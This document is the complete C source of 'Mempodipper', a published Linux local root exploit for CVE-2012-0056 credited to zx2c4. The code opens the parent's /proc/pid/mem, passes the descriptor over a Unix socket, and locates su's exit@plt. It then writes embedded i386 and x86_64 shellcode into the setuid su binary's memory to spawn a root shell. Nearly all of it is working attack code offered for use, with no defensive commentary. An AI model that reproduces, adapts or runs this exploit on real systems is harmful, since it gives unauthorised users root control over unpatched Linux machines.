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- /*
- *Name : Mempodipper.c
- *Kernal Version : x86_64 Linux >=2.6.39
- *CVE : CVE-2012-0056
- * Mempodipper
- * by zx2c4
- *
- * Linux Local Root Exploit
- *
- * Rather than put my write up here, per usual, this time I've put it
- * in a rather lengthy blog post: http://blog.zx2c4.com/749
- *
- * Enjoy.
- *
- * - zx2c4
- * Jan 21, 2012
- *
- * CVE-2012-0056
- */
- #define _LARGEFILE64_SOURCE
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <sys/socket.h>
- #include <sys/un.h>
- #include <fcntl.h>
- #include <unistd.h>
- #include <limits.h>
- int send_fd(int sock, int fd)
- {
- char buf[1];
- struct iovec iov;
- struct msghdr msg;
- struct cmsghdr *cmsg;
- int n;
- char cms[CMSG_SPACE(sizeof(int))];
- buf[0] = 0;
- iov.iov_base = buf;
- iov.iov_len = 1;
- memset(&msg, 0, sizeof msg);
- msg.msg_iov = &iov;
- msg.msg_iovlen = 1;
- msg.msg_control = (caddr_t)cms;
- msg.msg_controllen = CMSG_LEN(sizeof(int));
- cmsg = CMSG_FIRSTHDR(&msg);
- cmsg->cmsg_len = CMSG_LEN(sizeof(int));
- cmsg->cmsg_level = SOL_SOCKET;
- cmsg->cmsg_type = SCM_RIGHTS;
- memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
- if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
- return -1;
- close(sock);
- return 0;
- }
- int recv_fd(int sock)
- {
- int n;
- int fd;
- char buf[1];
- struct iovec iov;
- struct msghdr msg;
- struct cmsghdr *cmsg;
- char cms[CMSG_SPACE(sizeof(int))];
- iov.iov_base = buf;
- iov.iov_len = 1;
- memset(&msg, 0, sizeof msg);
- msg.msg_name = 0;
- msg.msg_namelen = 0;
- msg.msg_iov = &iov;
- msg.msg_iovlen = 1;
- msg.msg_control = (caddr_t)cms;
- msg.msg_controllen = sizeof cms;
- if ((n = recvmsg(sock, &msg, 0)) < 0)
- return -1;
- if (n == 0)
- return -1;
- cmsg = CMSG_FIRSTHDR(&msg);
- memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
- close(sock);
- return fd;
- }
- int main(int argc, char **argv)
- {
- if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
- char parent_mem[256];
- sprintf(parent_mem, "/proc/%d/mem", getppid());
- printf("[+] Opening parent mem %s in child.\n", parent_mem);
- int fd = open(parent_mem, O_RDWR);
- if (fd < 0) {
- perror("[-] open");
- return 1;
- }
- printf("[+] Sending fd %d to parent.\n", fd);
- send_fd(atoi(argv[2]), fd);
- return 0;
- }
- printf("===============================\n");
- printf("= Mempodipper =\n");
- printf("= by zx2c4 =\n");
- printf("= Jan 21, 2012 =\n");
- printf("===============================\n\n");
- int sockets[2];
- printf("[+] Opening socketpair.\n");
- if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
- perror("[-] socketpair");
- return -1;
- }
- if (fork()) {
- printf("[+] Waiting for transferred fd in parent.\n");
- int fd = recv_fd(sockets[1]);
- printf("[+] Received fd at %d.\n", fd);
- if (fd < 0) {
- perror("[-] recv_fd");
- return -1;
- }
- printf("[+] Assigning fd %d to stderr.\n", fd);
- dup2(2, 6);
- dup2(fd, 2);
- unsigned long address;
- if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
- address = strtoul(argv[2], NULL, 16);
- else {
- printf("[+] Reading su for exit@plt.\n");
- // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
- FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
- char result[32];
- result[0] = 0;
- fgets(result, 32, command);
- pclose(command);
- address = strtoul(result, NULL, 16);
- if (address == ULONG_MAX || !address) {
- printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
- printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
- return 1;
- }
- printf("[+] Resolved exit@plt to 0x%lx.\n", address);
- }
- printf("[+] Calculating su padding.\n");
- FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
- char result[256];
- result[0] = 0;
- fgets(result, 256, command);
- pclose(command);
- unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
- unsigned long offset = address - su_padding;
- printf("[+] Seeking to offset 0x%lx.\n", offset);
- lseek64(fd, offset, SEEK_SET);
- #if defined(__i386__)
- // See shellcode-32.s in this package for the source.
- char shellcode[] =
- "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
- "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
- "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
- "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
- "\x80";
- #elif defined(__x86_64__)
- // See shellcode-64.s in this package for the source.
- char shellcode[] =
- "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
- "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
- "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
- "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
- "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
- #else
- #error "That platform is not supported."
- #endif
- printf("[+] Executing su with shellcode.\n");
- execl("/bin/su", "su", shellcode, NULL);
- } else {
- char sock[32];
- sprintf(sock, "%d", sockets[0]);
- printf("[+] Executing child from child fork.\n");
- execl("/proc/self/exe", argv[0], "-c", sock, NULL);
- }
- }
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